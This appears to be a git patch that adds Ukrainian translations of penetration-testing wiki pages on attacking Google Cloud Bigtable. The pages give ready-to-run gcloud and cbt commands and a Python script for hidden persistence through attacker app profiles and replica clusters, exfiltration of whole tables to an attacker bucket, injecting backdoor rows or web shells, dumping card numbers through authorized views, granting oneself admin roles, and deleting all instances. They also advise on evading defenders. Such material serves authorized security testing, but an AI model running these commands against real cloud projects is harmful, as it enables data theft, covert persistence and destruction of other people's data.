From 9c2bd0cc3f9f448074455d3088b90a861b94d49c Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 19 Nov 2025 14:44:56 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp --- .../gcp-bigtable-persistence.md | 52 ++++ .../gcp-bigtable-post-exploitation.md | 252 ++++++++++++++++++ .../gcp-bigtable-privesc.md | 106 ++++++++ .../gcp-services/gcp-bigtable-enum.md | 94 ++++++- 4 files changed, 501 insertions(+), 3 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md new file mode 100644 index 000000000..6cda5068f --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md @@ -0,0 +1,52 @@ +# GCP - Bigtable Персистентність + +{{#include ../../../banners/hacktricks-training.md}} + +## Bigtable + +Для отримання додаткової інформації про Bigtable дивіться: + +{{#ref}} +../gcp-services/gcp-bigtable-enum.md +{{#endref}} + +### Dedicated attacker App Profile + +**Дозволи:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`. + +Створіть app profile, який маршрутизує трафік до вашого кластера реплік, і увімкніть Data Boost, щоб ніколи не залежати від виділених вузлів, які можуть помітити defenders. +```bash +gcloud bigtable app-profiles create stealth-profile \ +--instance= --route-any --restrict-to= \ +--row-affinity --description="internal batch" + +gcloud bigtable app-profiles update stealth-profile \ +--instance= --data-boost \ +--data-boost-compute-billing-owner=HOST_PAYS +``` +Поки цей профіль існує, ви можете повторно підключитися, використовуючи нові облікові дані, що посилаються на нього. + +### Підтримуйте власний реплікаційний кластер + +**Дозволи:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`. + +Створіть кластер з мінімальною кількістю вузлів у регіоні з низькою активністю. Навіть якщо ваші клієнтські ідентифікатори зникнуть, **кластер зберігає повну копію кожної таблиці** доти, доки захисники явно не видалять цю копію. +```bash +gcloud bigtable clusters create dark-clone \ +--instance= --zone=us-west4-b --num-nodes=1 +``` +Слідкуйте за ним через `gcloud bigtable clusters describe dark-clone --instance=`, щоб ви могли миттєво масштабуватися, коли потрібно витягти дані. + +### Заблокуйте реплікацію за власним CMEK + +**Права:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key. + +Використовуйте власний KMS key під час створення clone. Без цього ключа Google не зможе re-create або fail over кластер, тож blue teams повинні координуватися з вами перед будь-якими діями. +```bash +gcloud bigtable clusters create cmek-clone \ +--instance= --zone=us-east4-b --num-nodes=1 \ +--kms-key=projects//locations//keyRings//cryptoKeys/ +``` +Перегенеруйте або відключіть ключ у вашому проекті, щоб миттєво вивести репліку з ладу (але при цьому ви зможете увімкнути її пізніше). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md new file mode 100644 index 000000000..ca33049dd --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md @@ -0,0 +1,252 @@ +# GCP - Bigtable Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Bigtable + +Для отримання додаткової інформації про Bigtable див. : + +{{#ref}} +../gcp-services/gcp-bigtable-enum.md +{{#endref}} + +> [!TIP] +> Встановіть `cbt` CLI через Cloud SDK один раз, щоб наведені нижче команди працювали локально: +> +> ```bash +> gcloud components install cbt +> ``` + +### Читання рядків + +**Права доступу:** `bigtable.tables.readRows` + +`cbt` входить до складу Cloud SDK і звертається до admin/data APIs без потреби в проміжному програмному забезпеченні. Вкажіть його на скомпрометований проект/інстанс і вивантажте рядки безпосередньо з таблиці. Обмежте сканування, якщо вам потрібен лише швидкий перегляд. +```bash +# Install cbt +gcloud components update +gcloud components install cbt + +# Read entries with creds of gcloud +cbt -project= -instance= read +``` +### Запис рядків + +**Дозволи:** `bigtable.tables.mutateRows`, (вам знадобиться `bigtable.tables.readRows`, щоб підтвердити зміну). + +Використовуйте той самий інструмент для upsert довільних клітинок. Це найшвидший спосіб backdoor configs, drop web shells, або plant poisoned dataset rows. +```bash +# Inject a new row +cbt -project= -instance= set := + +cbt -project= -instance= set user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin + +# Verify the injected row +cbt -project= -instance= read rows=user#1337 +``` +`cbt set` приймає raw bytes через синтаксис `@/path`, тож ви можете закидати compiled payloads або serialized protobufs саме в тому вигляді, в якому їх очікують downstream services. + +### Експорт рядків у ваш bucket + +**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` + +Можна ексфільтрувати вміст усієї таблиці в bucket, контрольований attacker, запустивши Dataflow job, який стрімить рядки у GCS bucket під вашим контролем. + +> [!NOTE] +> Зверніть увагу, що вам знадобиться permission `iam.serviceAccounts.actAs` на деякому SA з достатніми правами для виконання експорту (за замовчуванням, якщо не вказано інше, буде використано default compute SA). +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ + +# Example +gcloud dataflow jobs run dump-bigtable3 \ +--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \ +--project=gcp-labs-3uis1xlx \ +--region=us-central1 \ +--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \ +--staging-location=gs://deleteme20u9843rhfioue/staging/ +``` +> [!NOTE] +> Переключіть шаблон на `Cloud_Bigtable_to_GCS_Parquet` або `Cloud_Bigtable_to_GCS_SequenceFile`, якщо ви хочете вивід у форматі Parquet/SequenceFile замість JSON. Права доступу однакові; змінюється лише шлях до шаблону. + +### Import rows + +**Права доступу:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` + +Можна імпортувати вміст цілої таблиці з бакета, контрольованого атакуючим, запустивши Dataflow job, який стримує рядки в GCS bucket, який ви контролюєте. Для цього атакуючому спочатку потрібно створити parquet файл з даними для імпорту з очікуваною схемою. Атакуючий може спочатку експортувати дані у форматі parquet, скориставшись попередньою методикою з налаштуванням `Cloud_Bigtable_to_GCS_Parquet`, і додати нові записи до завантаженого parquet файлу + + + +> [!NOTE] +> Зверніть увагу, що вам знадобиться право `iam.serviceAccounts.actAs` над якимось SA з достатніми дозволами для виконання експорту (за замовчуванням, якщо не вказано інше, буде використовуватися стандартний compute SA). +```bash +gcloud dataflow jobs run import-bt-$(date +%s) \ +--region= \ +--gcs-location=gs://dataflow-templates-/>/GCS_Parquet_to_Cloud_Bigtable \ +--project= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,inputFilePattern=gs:///import/bigtable_import.parquet \ +--staging-location=gs:///staging/ + +# Example +gcloud dataflow jobs run import-bt-$(date +%s) \ +--region=us-central1 \ +--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \ +--project=gcp-labs-3uis1xlx \ +--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \ +--staging-location=gs://deleteme20u9843rhfioue/staging/ +``` +### Відновлення резервних копій + +**Дозволи:** `bigtable.backups.restore`, `bigtable.tables.create`. + +Атакуючий з такими дозволами може відновити резервну копію в нову таблицю під своїм контролем, щоб мати змогу відновити старі конфіденційні дані. +```bash +gcloud bigtable backups list --instance= \ +--cluster= + +gcloud bigtable instances tables restore \ +--source=projects//instances//clusters//backups/ \ +--async \ +--destination= \ +--destination-instance= \ +--project= +``` +### Відновлення таблиць + +**Дозволи:** `bigtable.tables.undelete` + +Bigtable підтримує м'яке видалення з періодом зберігання (зазвичай 7 днів за замовчуванням). Протягом цього вікна зловмисник із дозволом `bigtable.tables.undelete` може відновити нещодавно видалену таблицю й відновити всі її дані, потенційно отримавши доступ до конфіденційної інформації, яка вважалася знищеною. + +Це особливо корисно для: +- Відновлення даних із таблиць, видалених захисниками під час реагування на інцидент +- Доступу до історичних даних, які були навмисно очищені +- Скасування випадкових або зловмисних видалень для підтримки persistence +```bash +# List recently deleted tables (requires bigtable.tables.list) +gcloud bigtable instances tables list --instance= \ +--show-deleted + +# Undelete a table within the retention period +gcloud bigtable instances tables undelete \ +--instance= +``` +> [!NOTE] +> Операція undelete працює лише протягом налаштованого періоду зберігання (за замовчуванням 7 днів). Після закінчення цього вікна таблиця та її дані видаляються назавжди і не можуть бути відновлені цим методом. + + +### Створення авторизованих подань + +**Дозволи:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows` + +Авторизовані подання дозволяють показувати відфільтрований піднабір таблиці. Замість дотримання принципу найменших привілеїв, використовуйте їх, щоб публікувати **саме ті набори колонок/рядків, що містять чутливі дані**, які вас цікавлять, і додавати у білий список власний принципал. + +> [!WARNING] +> Справа в тому, що для створення авторизованого подання також потрібно мати можливість читати та змінювати рядки в базовій таблиці; отже ви не отримуєте ніяких додаткових дозволів, тому ця техніка переважно марна. +```bash +cat <<'EOF' > /tmp/credit-cards.json +{ +"subsetView": { +"rowPrefixes": ["acct#"], +"familySubsets": { +"pii": { +"qualifiers": ["cc_number", "cc_cvv"] +} +} +} +} +EOF + +gcloud bigtable authorized-views create card-dump \ +--instance= --table= \ +--definition-file=/tmp/credit-cards.json + +gcloud bigtable authorized-views add-iam-policy-binding card-dump \ +--instance= --table= \ +--member='user:' --role='roles/bigtable.reader' +``` +Оскільки доступ обмежується межами Authorized View, захисники часто не помічають, що ви щойно створили новий високочутливий endpoint. + +### Read Authorized Views + +**Permissions:** `bigtable.authorizedViews.readRows` + +Якщо ви маєте доступ до Authorized View, ви можете читати дані з нього за допомогою Bigtable client libraries, вказавши ім'я Authorized View у ваших запитах на читання. Зверніть увагу, що Authorized View, ймовірно, обмежуватиме те, до чого ви маєте доступ у таблиці. Нижче наведено приклад на Python: +```python +from google.cloud import bigtable +from google.cloud.bigtable_v2 import BigtableClient as DataClient +from google.cloud.bigtable_v2 import ReadRowsRequest + +# Set your project, instance, table, view id +PROJECT_ID = "gcp-labs-3uis1xlx" +INSTANCE_ID = "avesc-20251118172913" +TABLE_ID = "prod-orders" +AUTHORIZED_VIEW_ID = "auth_view" + +client = bigtable.Client(project=PROJECT_ID, admin=True) +instance = client.instance(INSTANCE_ID) +table = instance.table(TABLE_ID) + +data_client = DataClient() +authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}" + +request = ReadRowsRequest( +authorized_view_name=authorized_view_name +) + +rows = data_client.read_rows(request=request) +for response in rows: +for chunk in response.chunks: +if chunk.row_key: +row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key +print(f"Row: {row_key}") +if chunk.family_name: +family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name +qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8') +value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value) +print(f" {family}:{qualifier} = {value}") +``` +### Denial of Service via Delete Operations + +**Дозволи:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete` + +Будь-який із дозволів на видалення Bigtable може бути використаний для атак Denial of Service. Зловмисник із цими дозволами може порушити роботу, видаливши критично важливі ресурси Bigtable: + +- **`bigtable.appProfiles.delete`**: Видалити профілі застосунків, що призведе до розриву клієнтських підключень і конфігурацій маршрутизації +- **`bigtable.authorizedViews.delete`**: Видалити авторизовані подання, відрізавши легітимні шляхи доступу для застосунків +- **`bigtable.authorizedViews.deleteTagBinding`**: Видалити прив'язки тегів з авторизованих подань +- **`bigtable.backups.delete`**: Знищити резервні копії, позбавивши можливостей аварійного відновлення +- **`bigtable.clusters.delete`**: Видалити цілі кластери, що спричинить негайну недоступність даних +- **`bigtable.instances.delete`**: Видалити повні екземпляри Bigtable, знищивши всі таблиці та конфігурації +- **`bigtable.tables.delete`**: Видалити окремі таблиці, спричинивши втрату даних і збої в роботі застосунків +```bash +# Delete a table +gcloud bigtable instances tables delete \ +--instance= + +# Delete an authorized view +gcloud bigtable authorized-views delete \ +--instance= --table= + +# Delete a backup +gcloud bigtable backups delete \ +--instance= --cluster= + +# Delete an app profile +gcloud bigtable app-profiles delete \ +--instance= + +# Delete a cluster +gcloud bigtable clusters delete \ +--instance= + +# Delete an entire instance +gcloud bigtable instances delete +``` +> [!WARNING] +> Операції видалення часто виконуються негайно і є незворотними. Переконайтеся, що існують резервні копії перед тестуванням цих команд, оскільки вони можуть спричинити необоротну втрату даних та серйозні перебої в роботі сервісу. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md new file mode 100644 index 000000000..9525340a0 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md @@ -0,0 +1,106 @@ +# GCP - Bigtable Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Bigtable + +Для отримання додаткової інформації про Bigtable див.: + +{{#ref}} +../gcp-services/gcp-bigtable-enum.md +{{#endref}} + +### `bigtable.instances.setIamPolicy` + +**Дозволи:** `bigtable.instances.setIamPolicy` (і зазвичай `bigtable.instances.getIamPolicy`, щоб прочитати поточні прив'язки). + +Володіння політикою IAM екземпляра дозволяє призначити собі **`roles/bigtable.admin`** (або будь-яку користувацьку роль), що поширюється на кожний кластер, таблицю, резервну копію та авторизований перегляд в екземплярі. +```bash +gcloud bigtable instances add-iam-policy-binding \ +--member='user:' \ +--role='roles/bigtable.admin' +``` +> [!TIP] +> Якщо ви не можете перелічити існуючі bindings, складіть новий документ політики і застосуйте його за допомогою `gcloud bigtable instances set-iam-policy`, за умови, що ви залишите в ньому свій доступ. + +Після перевірки цього дозволу перегляньте розділ [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) з техніками для додаткових способів зловживання дозволами Bigtable. + +### `bigtable.tables.setIamPolicy` + +**Дозволи:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`). + +Політики інстансу можуть бути жорстко обмежені, тоді як права щодо окремих таблиць делегуються. Якщо ви можете редагувати IAM таблиці, ви можете **підвищити себе до власника цільового набору даних**, не зачіпаючи інші робочі навантаження. +```bash +gcloud bigtable tables add-iam-policy-binding \ +--instance= \ +--member='user:' \ +--role='roles/bigtable.admin' +``` +After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions. + + +### `bigtable.backups.setIamPolicy` + +**Permissions:** `bigtable.backups.setIamPolicy` + +Резервні копії можна відновити в **будь-який інстанс в будь-якому проєкті**, який ви контролюєте. Спочатку надайте вашій ідентичності доступ до резервної копії, а потім відновіть її в пісочницю, де у вас є ролі Admin/Owner. + +Якщо у вас є дозвіл `bigtable.backups.setIamPolicy`, ви можете надати собі дозвіл `bigtable.backups.restore`, щоб відновити старі резервні копії та спробувати отримати доступ до конфіденційної інформації. +```bash +# Take ownership of the snapshot +gcloud bigtable backups add-iam-policy-binding \ +--instance= --cluster= \ +--member='user:' \ +--role='roles/bigtable.admin' +``` +Після отримання цього дозволу перевірте в [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), як відновити резервну копію. + + +### Оновлення authorized view + +**Дозволи:** `bigtable.authorizedViews.update` + +Authorized Views призначені для приховування рядків/стовпців. Їх модифікація або видалення **усуває тонко налаштовані запобіжні заходи**, на які покладаються захисники. +```bash +# Broaden the subset by uploading a permissive definition +gcloud bigtable authorized-views update \ +--instance= --table= \ +--definition-file=/tmp/permissive-view.json --ignore-warnings + +# Json example not filtering any row or column +cat <<'EOF' > /tmp/permissive-view.json +{ +"subsetView": { +"rowPrefixes": [""], +"familySubsets": { +"": { +"qualifierPrefixes": [""] +} +} +} +} +EOF + +# Describe the authorized view to get a family name +gcloud bigtable authorized-views describe \ +--instance= --table= +``` +Після перевірки наявності цього дозволу перегляньте [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), щоб дізнатися, як читати з authorized view. + +### `bigtable.authorizedViews.setIamPolicy` + +**Права:** `bigtable.authorizedViews.setIamPolicy`. + +Зловмисник із цим дозволом може надати собі доступ до Authorized View, який може містити чутливі дані, до яких він інакше не мав би доступу. +```bash +# Give more permissions over an existing view +gcloud bigtable authorized-views add-iam-policy-binding \ +--instance= --table= \ +--member='user:' \ +--role='roles/bigtable.viewer' +``` +Після виконання цієї перевірки дозволів у [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), щоб дізнатися, як читати з авторизованого подання. + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md index 16fb8b5d6..eae0b276d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md @@ -1,10 +1,71 @@ -# GCP - Bigtable Enum +# GCP - Bigtable Перерахування {{#include ../../../banners/hacktricks-training.md}} -## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) +## Bigtable -Повністю керована, масштабована служба NoSQL бази даних для великих аналітичних та операційних навантажень з доступністю до 99.999%. [Дізнайтеся більше](https://cloud.google.com/bigtable). +Google Cloud Bigtable — це повністю керована, масштабована NoSQL база даних, призначена для застосунків, що потребують надзвичайно високої пропускної здатності та низької затримки. Вона створена для обробки величезних обсягів даних — петабайтів на тисячах вузлів — при цьому забезпечуючи швидкий доступ для читання та запису. Bigtable ідеально підходить для робочих навантажень типу time-series data, IoT telemetry, financial analytics, personalization engines та великих операційних баз даних. Вона використовує розріджену, розподілену, багатовимірну відсортовану мапу як модель зберігання, що робить її ефективною для збереження широких таблиць, де багато стовпців можуть бути порожніми. [Learn more](https://cloud.google.com/bigtable). + +### Ієрархія + +1. **Інстанс Bigtable** + +Інстанс Bigtable — це ресурс верхнього рівня, який ви створюєте. +Він сам по собі не зберігає дані — уявіть його як логічний контейнер, що групує ваші кластери і таблиці. + +Існують два типи інстансів: + +- інстанс для розробки (одновузловий, дешевий, не для виробничого використання) +- виробничий інстанс (може мати кілька кластерів) + +2. **Кластери** + +Кластер містить фактичні обчислювальні та дискові ресурси, які використовуються для обслуговування даних Bigtable. + +- Кожен кластер розташований у одному регіоні. +- Він складається з вузлів, які надають CPU, RAM та мережеву пропускну здатність. +- Ви можете створювати інстанси з кількома кластерами для високої доступності або глобального читання/запису. +- Дані автоматично реплікуються між кластерами в одному інстансі. + +Важливо: +- Таблиці належать інстансу, а не конкретному кластеру. +- Кластери просто надають ресурси для обслуговування даних. + +3. **Таблиці** + +Таблиця в Bigtable схожа на таблицю в NoSQL базах даних: + +- Дані зберігаються в рядках, ідентифікованих row key. +- Кожний ряд містить column families, які містять стовпці. +- Вона розріджена: порожні клітинки не займають місця. +- Bigtable зберігає дані, відсортовані лексикографічно за row key. + +Таблиці обслуговуються усіма кластерами в інстансі. + +4. **Tablets (і Hot Tablets)** + +Bigtable розбиває кожну таблицю на горизонтальні партиції, які називаються tablets. Таблет — це: + +- суміжний діапазон row key. +- зберігається на одному вузлі в будь-який момент часу. +- Tablets автоматично розділяються, зливаються та переміщуються Bigtable. + +"Hot tablet" виникає коли: + +- Надто багато операцій читання або запису приходять по одному і тому ж діапазону row key (одна і та ж tablet). +- Конкретна tablet/вузол перевантажується. +- Це призводить до hotspot-ів (вузьких місць у продуктивності). + +5. **Authorized Views** + +Authorized views дозволяють створити підмножину даних таблиці, яку можна ділити з конкретними користувачами або додатками без надання доступу до всієї таблиці. Це корисно для: + +- Обмеження доступу до чутливих даних. +- Надання доступу тільки для читання до певних стовпців або рядків. + +6. **App Profiles** + +App profile в Bigtable — це конфігурація, яка визначає, як конкретний застосунок або клієнт повинен взаємодіяти з інстансом Bigtable, особливо в середовищах з кількома кластерами. Він керує поведінкою маршрутизації — чи повинні запити направлятися до одного кластера або розподілятися між кількома кластерами для високої доступності — і визначає, як реплікуються записи, обираючи між синхронним (сильніша узгодженість) або асинхронним (нижча затримка) режимами. ```bash # Cloud Bigtable gcloud bigtable instances list @@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy gcloud bigtable clusters list gcloud bigtable clusters describe +## Tables +gcloud bigtable tables list --instance +gcloud bigtable tables describe --instance
+gcloud bigtable tables get-iam-policy --instance
+ ## Backups gcloud bigtable backups list --instance gcloud bigtable backups describe --instance @@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list ## App Profiles gcloud bigtable app-profiles list --instance gcloud bigtable app-profiles describe --instance + +## Authorized Views +gcloud bigtable authorized-views list --instance --table
+gcloud bigtable authorized-views describe --instance --table
``` +## Підвищення привілеїв + +{{#ref}} +../gcp-privilege-escalation/gcp-bigtable-privesc.md +{{#endref}} + +## Пост-експлуатація + +{{#ref}} +../gcp-post-exploitation/gcp-bigtable-post-exploitation.md +{{#endref}} + +## Утримання доступу + +{{#ref}} +../gcp-persistence/gcp-bigtable-persistence.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}}